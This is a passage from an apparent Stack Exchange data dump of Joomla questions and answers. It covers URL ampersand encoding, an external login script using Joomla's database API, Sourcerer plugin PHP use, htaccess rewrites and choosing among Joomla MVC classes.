'&amp;amp;amp;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;one=1&amp;amp;two=&amp;amp;four=+&amp;amp;five=%26test%3Dtest&#xA;---&#xA;one=1&amp;amp;amp;two=&amp;amp;amp;four=+&amp;amp;amp;five=%26test%3Dtest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-01-14T11:02:23.183" Title="Why are Joomla url query strings commonly delimited with &quot;&amp;amp;&quot; instead of &quot;&amp;&quot;?" Tags="|joomla-api|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26633" PostTypeId="1" CreationDate="2020-01-13T14:23:21.703" Score="3" ViewCount="409" Body="&lt;p&gt;Joomla 3.9.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to edit a list of contacts from the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display a list of contacts from a certain category, and allow &lt;strong&gt;administrators&lt;/strong&gt; to edit their details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently administrators have to login to the back end to do this. I'm trying to keep back end access to a minimum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed this would have been a default option / menu item within Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2024-01-23T07:03:50.417" Title="Edit Contacts on Front End" Tags="|joomla-3.x|contact|com-contacts|contact-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26634" PostTypeId="1" AcceptedAnswerId="26664" CreationDate="2020-01-13T15:51:29.583" Score="2" ViewCount="609" Body="&lt;p&gt;I have a Joomla 3.9.14 site with a subdomain &lt;code&gt;app.example.com&lt;/code&gt;. I have a login form, and I want to allow users to login using their Joomla credentials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working as expected, users are able to login and authenticate successfully, however I need help with a function. I want to be sure I'm doing things correctly before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding was that I setup a connection to my Joomla database using &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt; and this would allow me to run queries throughout my site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included the Joomla connection in a &lt;code&gt;conn.php&lt;/code&gt; file, but it seems I also have to include &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt; within each of my functions - is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three files, see below for current code;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;conn.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    define('_JEXEC', 1);    &#xA;    define('JPATH_BASE', realpath(dirname(__FILE__) . '/..'));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;    $app   = JFactory::getApplication('site');&#xA;    $db     = JFactory::getDbo(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  error_reporting(E_ALL);&#xA;&#xA;  include('conn.php');&#xA;  include('user.php');&#xA;&#xA;  if(isset($_POST['username']) &amp;amp;&amp;amp; isset($_POST['password'])) {&#xA;&#xA;      $credentials['username'] = trim($_POST['username']);&#xA;      $credentials['password'] = trim($_POST['password']);&#xA;      // do user login&#xA;      userLogin($credentials);&#xA;  } &#xA;&#xA;?&amp;gt;&#xA;&#xA;  &amp;lt;form method=&quot;POST&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;username&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Sign in&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;user.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function userLogin($credentials) {&#xA;&#xA;    $credentials['username'] = trim($_POST['username']);&#xA;    $credentials['password'] = trim($_POST['password']);&#xA;&#xA;    // $credentials['username'] = 'admin';&#xA; //     $credentials['password'] = 'password';&#xA;&#xA;    $app    = JFactory::getApplication('site');&#xA;    $db     = JFactory::getDbo();&#xA;&#xA;    if(class_exists(JFactory)) {&#xA;&#xA;        $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select('id, password');&#xA;        $query-&amp;gt;from('#__users');&#xA;        $query-&amp;gt;where('username=' . $db-&amp;gt;quote($credentials['username']));&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;loadObject();&#xA;&#xA;        if ($result)&#xA;        {&#xA;            $match = JUserHelper::verifyPassword($credentials['password'], $result-&amp;gt;password, $result-&amp;gt;id);&#xA;&#xA;            if ($match === true)&#xA;            {&#xA;                $user = JUser::getInstance($result-&amp;gt;id); // Bring this in line with the rest of the system&#xA;                $app-&amp;gt;login($credentials, $options=array());&#xA;                // $app-&amp;gt;login('username' =&amp;gt; 'admin', 'password' =&amp;gt; 'password', $options=array());&#xA;&#xA;                echo (&quot;This user is logged in and Joomla also logged in! &quot;);&#xA;       //          $logged_user = JFactory::getUser();&#xA;                // var_dump($logged_user );&#xA;            }&#xA;            else&#xA;            {&#xA;                echo (&quot;User name and password not match! &quot;);&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            echo (&quot;THE USER IS NOT REGISTERED! &quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to keep &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt; and &lt;code&gt;$app = JFactory::getApplication('site')&lt;/code&gt; within the function? I though by including the &lt;code&gt;conn.php&lt;/code&gt; I was also including them? If I move them outside then function I get error messages &lt;code&gt;call to member function null...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2020-01-13T16:33:18.823" LastActivityDate="2020-01-24T18:30:47.580" Title="External Login Script and getDbo()" Tags="|joomla-3.x|php|login|custom-action|external-script|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26635" PostTypeId="2" ParentId="26633" CreationDate="2020-01-13T15:55:25.467" Score="0" Body="&lt;p&gt;Um, the very definition of an administrator's role is back-end access. In any case, what you do will end up being governed by the site's permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Everything below has been edited. This shows the folly of answering from memory, as the original answer has been invalidated by changes made since the last time I'd done any extensive relying on com_contact (I basically surrendered to the spammers and took that out of almost all of my sites and drastically curtailed what it did on the rest). My apologies for misleading, and my thanks for calling me on it. while I was checking to see if permissions were still available for some groups, I should have double-checked the site output that it was still the case. It's not.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logged-in users should be given buttons on the front-end, but that's been removed. I understand why (it gives people not normally given access to the back end the ability to change the destination of emails sent by the system to a contact, not something that should be done as a general rule).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the simplest answer is adding in a different component for contact handling, one that allows for front-end editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to do this with com_contact, however, the way to add the button is simple, but getting more functionality out of it will require forking com_content, I'm afraid. The button code can be added in your template override by testing for permission to edit, and if it's permitted, add the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fork of com_contact will need to make the model and form from the admin side usable on the site side, either directly or by copy/paste into site models, because the default &quot;edit&quot; form on the front-end is for sending email to the contact, not modifying the contact. You'll need to add a model analogous to the one found in 'form.php' in com_content, or simply recreate the contact form model from the admin side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I glossed over the details for coding that, simply because covering all the details of that is a book chapter, not a StackExchange answer. It's possible to simply duplicate the admin side pieces by adding the contact admin model as use and then extending it with the PHP class, which sounds simpler but still has some bumps to smooth out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, my best recommendations are to keep doing it via back-end or use an add-on for it; forking com_contact and all the individual maintenance that implies (especially with J!4 coming) is probably more effort than its worth.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2020-01-13T17:46:49.333" LastActivityDate="2020-01-13T17:46:49.333" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26637" PostTypeId="2" ParentId="5563" CreationDate="2020-01-14T00:39:19.427" Score="1" Body="&lt;p&gt;In my experience, the best way to find out which component/module/plugin causes a particular head include is to use &lt;code&gt;grep&lt;/code&gt; on the entire joomla installation.&#xA;Of course, this assumes that you know which resource URL to search for and that it shows up unobfuscated somewhere in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to search for the plugin that caused font-awesome to be loaded from cloudflare's CDN, even though we already host and include a local version.&#xA;To determine the culprit, I used the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -rnw /path/to/joomla/directory -e 'cdnjs\.cloudflare\.com/ajax/libs/font-awesome'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8751" LastActivityDate="2020-01-14T00:39:19.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26638" PostTypeId="2" ParentId="26633" CreationDate="2020-01-14T00:55:58.527" Score="0" Body="&lt;p&gt;As far as I can tell, front-end editing of contacts has never been an included feature in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some third party extensions that can enable this feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/trombinoscope-contacts-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Trombinoscope Contacts Pro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/contact-enhanced-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Contact Enhanced Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-01-14T00:55:58.527" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26639" PostTypeId="2" ParentId="26632" CreationDate="2020-01-14T08:13:46.520" Score="0" Body="&lt;p&gt;This is my own experience, in manifest file of a custom component extension for instance,&#xA;once you are going to assign a menu with submenus for extension in Joomla backend to assign the path to reach assigned view and layout in xml file, '&amp;amp;' does not work, you are supposed to employ ampersand, this way Joomla exercises more security yet as you said '&amp;amp;' works in many parts and replacable with ampersand, in more sensitive parts like this example it is not replacable.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="12352" LastEditDate="2020-01-14T09:46:58.503" LastActivityDate="2020-01-14T09:46:58.503" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26640" PostTypeId="2" ParentId="26632" CreationDate="2020-01-14T09:36:43.263" Score="6" Body="&lt;p&gt;It is to do with with HTML/XHTML compatibility. Before HTML5 having unencoded ampersands in URLs and in some other contexts was invalid. From XHTML validator:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entity references start with an ampersand (&amp;amp;) and end with a semicolon (;). If you want to use a literal ampersand in your document you must encode it as &quot;&lt;code&gt;&amp;amp;amp;&lt;/code&gt;&quot; (even inside URLs!). Be careful to end entity references with a semicolon or your entity reference may get interpreted in connection with the following text.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.htmlhelp.com/tools/validator/problems.html#amp&quot; rel=&quot;noreferrer&quot;&gt;Common HTML Validation Problems - Ampersands (&amp;amp;'s) in URLs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.w3.org/QA/2005/04/php-session&quot; rel=&quot;noreferrer&quot;&gt;Ampersands, PHP Sessions and Valid HTML&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-01-14T11:02:23.183" LastActivityDate="2020-01-14T11:02:23.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26641" PostTypeId="1" CreationDate="2020-01-14T15:27:48.957" Score="1" ViewCount="765" Body="&lt;p&gt;I try to hide a menu item programmatically, I found this &lt;a href=&quot;https://joomla.stackexchange.com/a/15806/13628&quot;&gt;publication&lt;/a&gt; that explains the process as follows&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create custom html module&lt;/li&gt;&#xA;&lt;li&gt;Install and enable the Sourcerer plugin&lt;/li&gt;&#xA;&lt;li&gt;In the module editor use a code similar to this&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cpjuB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cpjuB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done the steps, but I have not achieved the code written in php to be executed, in fact when trying a simple &lt;code&gt;{source} &amp;lt;?php echo 'test'; ?&amp;gt; {/source}&lt;/code&gt; or &lt;code&gt;{source}[[php echo 'test'; ?]]{/​​source}&lt;/code&gt; the code is not executed, nor is it shown as a comment. It just disappears. If I disable Sourcerer the code is shown as text. I tested the same code in a new instance of joomla and it works properly. Going back to the joomla instance of the project where I work, I verify that the Sourcerer plugin is enabled, verify that the configuration of executing html, css, js and php code is enabled. I have tested with different editors. Unfortunately the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final comment I can verify that using Sourcerer, the code written in html and javascript is executed properly. In fact, I temporarily hide the menu using an ajax call to a complement controller method. This works, but for a moment the menu item is displayed and I want to avoid this and do it with php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following Robbie Jackson recommendation I have created a module with logic to hide the menu item, the module has the position debug. For some reason and although the CSS is added into the style tag the menu item remains visible. The same happens if I try to inject a style sheet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mod_name.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;$currentUser = modName::hideMenuItem();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using addStyleDeclaration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModNameHelper&#xA;{&#xA;    public static function hideMenuItem()&#xA;    {&#xA;        $accountType = JFactory::getUser()-&amp;gt;getParam('account_type');&#xA;&#xA;        if ($accountType !== 'agency') {&#xA;            $style = 'li.item116 { display: none; }';&#xA;            JFactory::getDocument()-&amp;gt;addStyleDeclaration($style);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using addStyleSheet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModNameHelper&#xA;{&#xA;    public static function hideMenuItem()&#xA;    {&#xA;        $accountType = JFactory::getUser()-&amp;gt;getParam('account_type');&#xA;&#xA;        if ($accountType !== 'agency') {&#xA;            JFactory::getDocument()-&amp;gt;addStyleSheet(JURI::root() . 'modules/mod_name/mod_name.css', [&quot;version&quot; =&amp;gt; &quot;auto&quot;]);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example where I use &lt;code&gt;addStyleDeclaration&lt;/code&gt; in head in the &lt;code&gt;style&lt;/code&gt; tag it is added &lt;code&gt;li.item116 { display: none; }&lt;/code&gt; and in the example using &lt;code&gt;addStyleSheet&lt;/code&gt; the style sheet is injected but in both cases the menu item remains visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will appreciate your help&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2020-01-20T14:53:37.220" LastActivityDate="2020-09-08T09:14:19.767" Title="using the sourcerer plugin the code written in php disappears" Tags="|system-plugin|sourcerer|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26643" PostTypeId="1" CreationDate="2020-01-14T16:29:22.487" Score="1" ViewCount="166" Body="&lt;p&gt;I'm attempting to add a custom RewriteRule in the default htaccess file in Joomla 3, but not having any luck getting it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end goal is to create a URL with a wildcard subpage, like site.com/features/*, which always loads the base page /features/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my tests, this rule works properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^features\/?(.*)$ &quot;http://%{HTTP_HOST}/index.php/features&quot; [R=302,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, once I change my flag from R to PT, it gives me a 404:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^features\/?(.*)$ &quot;http://%{HTTP_HOST}/index.php/features&quot; [PT]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried multiple variations of the rewrite syntax, trying with and without the index.php base, also with RewriteBase and no protocol+host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all tests, a 301/302 redirect will work properly, and a passthrough will 404. This tells me it's matching and firing the rule properly, but it's not rewriting on the PT request back to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious if anyone else here has done this before and can point me in the right direction of what to try next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="14048" LastActivityDate="2020-01-14T16:29:22.487" Title="Custom htaccess rewrites with PT flags" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26645" PostTypeId="2" ParentId="26641" CreationDate="2020-01-14T22:44:20.517" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;From &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer/tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/sourcerer/tutorial&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sourcerer already creates the $document (or $doc) object for you when it is needed. So you do not have to initialize this yourself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;    {source}&#xA;    &amp;lt;?php&#xA;        if (true) {&#xA;            $style = '.item-135 {display: none;}';&#xA;            $doc-&amp;gt;addStyleDeclaration($style);&#xA;        }&#xA;    ?&amp;gt;&#xA;    {/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I would also urge you to remove many of those extra spaces so that you never have any accidental code breakages.&lt;br&gt;Opening &lt;code&gt;&amp;lt;?php&lt;/code&gt; tag must not have a space in it. &lt;a href=&quot;https://3v4l.org/rPd0Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/rPd0Y&lt;/a&gt; versus &lt;a href=&quot;https://3v4l.org/QYRVt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/QYRVt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also from the FAQ:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Make sure you are using the WYSIWYG view of your editor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Also from the FAQ:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can set certain security settings in the Sourcerer plugin. This way you can prevent certain user group levels and certain content types to not allow the use of Sourcerer. Please look in the html output source of you site to see if you have a Sourcerer comment that tells you this is the case.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Also in the FAQ:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If the php tags are getting stripped out, try double bracket syntax (your attempt was missing the &lt;code&gt;?&lt;/code&gt;).  Here's how that would look:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    {source}&#xA;    [[?php&#xA;        if (true) {&#xA;            $style = '.item-135 {display: none;}';&#xA;            $doc-&amp;gt;addStyleDeclaration($style);&#xA;        }&#xA;    ?]]&#xA;    {/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Your simplest test rules out a php error, but for other researchers: errors can be discovered by viewing the generated source.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-09-08T09:14:19.767" LastActivityDate="2020-09-08T09:14:19.767" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26646" PostTypeId="2" ParentId="26630" CreationDate="2020-01-15T14:30:41.360" Score="1" Body="&lt;p&gt;I think it's unfortunate that Joomla's AdminModel and AdminController are named the way they are because it gives the impression that they're suitable for use only on the back-end, whereas that's not the case. The choice of which Joomla MVC model/controller your model/controller should extend ought to be based on what sort of functionality your web page is providing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of choosing the best MVC class to extend is that it will already contain code which matches what you need, thus reducing the amount of custom code you need to write yourself. But it does require you to become familiar with the code in the &quot;higher&quot; Joomla MVC classes, and sometimes you need to add code in to your own model/controller because the Joomla code doesn't do exactly what fits your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst the MVC View classes are named in a way that it's fairly clear what they should be used for, this isn't quite the same with the MVC Controller and Model classes. So here's my rough guide to the higher level MVC controller and model classes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Models:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ItemModel – for displaying a single item&lt;/li&gt;&#xA;&lt;li&gt;ListModel – for displaying multiple items&lt;/li&gt;&#xA;&lt;li&gt;FormModel – for displaying a form which is defined in an XML file&lt;/li&gt;&#xA;&lt;li&gt;AdminModel – for handling the database record updates required as a result of user action. AdminModel inherits from FormModel because validation of user data involves building the Joomla form, and so needs the methods from FormModel. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Controllers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FormController – in a subcontroller handling HTTP POSTs, for handling the types of operations associated with editing or adding a single record (excludes delete)&lt;/li&gt;&#xA;&lt;li&gt;AdminController – in a subcontroller handling HTTP POSTs, for handling the types of operations associated with multiple records (eg delete, reordering, batch operations). (Note that AdminController does not extend FormController).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are the conclusions I've come to regarding which MVC classes my own controller and model front-end classes should extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simply displaying a record or a set of records, without providing the ability to change anything&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;controller extends BaseController&lt;/li&gt;&#xA;&lt;li&gt;model extends BaseDatabaseModel or ItemModel if it's a single record, ListModel if it's multiple records.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Displaying a form with multiple records (but the form isn't defined in an XML file), including the providing the ability to select several records and apply some sort of operation to them (eg delete, publish):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;controller extends BaseController&lt;/li&gt;&#xA;&lt;li&gt;model extends ListModel – except if you're using the same model for displaying the form and handling the updates, in which case use AdminModel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Handling the HTTP POSTs from that form in subcontrollers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;controller extends AdminController&lt;/li&gt;&#xA;&lt;li&gt;model extends AdminModel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Displaying a form with a single record, where the form is defined in an XML file, and allow the user to edit it, or a blank record and allowing the user to create a record:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;controller extends BaseController&lt;/li&gt;&#xA;&lt;li&gt;model extends FormModel – except if you're using the same model for displaying and form and handling the updates (as is usually the case I think), in which case use AdminModel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Handling the HTTP POSTs from that form in subcontrollers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;controller extends FormController&lt;/li&gt;&#xA;&lt;li&gt;model extends AdminModel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The sort of additional changes you might have to make are typified by the question above, where you need to do the following to select the right model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getModel($name = '', $prefix = '', $config = array()) &#xA;{ &#xA;    parent::getModel('Item', 'InventoryModel', $config); &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://stackoverflow.com/questions/21704490/what-are-the-differences-between-joomla-model-types/21710851#21710851&quot;&gt;https://stackoverflow.com/questions/21704490/what-are-the-differences-between-joomla-model-types/21710851#21710851&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this answer isn't saying that all Joomla functionality works the same on both front-end and back-end, eg &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/5349&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/5349&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-15T14:30:41.360" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26648" PostTypeId="1" AcceptedAnswerId="26653" CreationDate="2020-01-15T17:10:05.110" Score="0" ViewCount="162" Body="&lt;p&gt;Joomla installation/Joomla website on localhost using WAMP does not start. No error is reported in the logs file. I'm using &lt;br /&gt;&#xA;&lt;br /&gt;&#xA;Windows 10 &lt;br /&gt;&#xA;WAMP 3.1.4 (64 Bit)&lt;br /&gt;&#xA;Apache 2.4.35 Port 80- PHP 7.2.10&lt;br /&gt;&#xA;MySQL 5.7.14 Port 3306&lt;br /&gt;&#xA;MariaDB 10.3.9 Port 3307&lt;br /&gt;&#xA;Joomla 3.9.14 &amp;amp; Joomla 3.9.13 (used both but same results)&lt;br /&gt;&#xA;Chrome 83+&lt;br /&gt;&#xA;Firefox 77+&lt;br /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12037" LastEditorUserId="12037" LastEditDate="2020-07-13T13:35:43.777" LastActivityDate="2020-07-13T13:36:59.367" Title="Joomla installation on localhost using WAMP does not start" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26649" PostTypeId="2" ParentId="23075" CreationDate="2020-01-15T20:29:35.713" Score="3" Body="&lt;p&gt;Also late to the party, but the reason for adding the media version to Javascript files etc can be found at &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Version.html#method_getMediaVersion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Version.html#method_getMediaVersion&lt;/a&gt;, by clicking on the getMediaVersion text on that page. To quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This media version is used to append to Joomla core media in order to&#xA;  trick browsers into reloading the CSS and JavaScript, because they&#xA;  think the files are renewed. The media version is renewed after Joomla&#xA;  core update, install, discover_install and uninstallation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The basic reason is that browsers cache CSS and JS files, so you could have the following situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a user accesses a Joomla site, and the CSS and JS files are downloaded to the user's browser&lt;/li&gt;&#xA;&lt;li&gt;the Joomla instance is upgraded, which involves changing the content of several CSS and JS files, but the filenames remain the same&lt;/li&gt;&#xA;&lt;li&gt;the user accesses the newly-updated site, but the new CSS and JS files aren't reloaded because the user's browser uses the cached versions 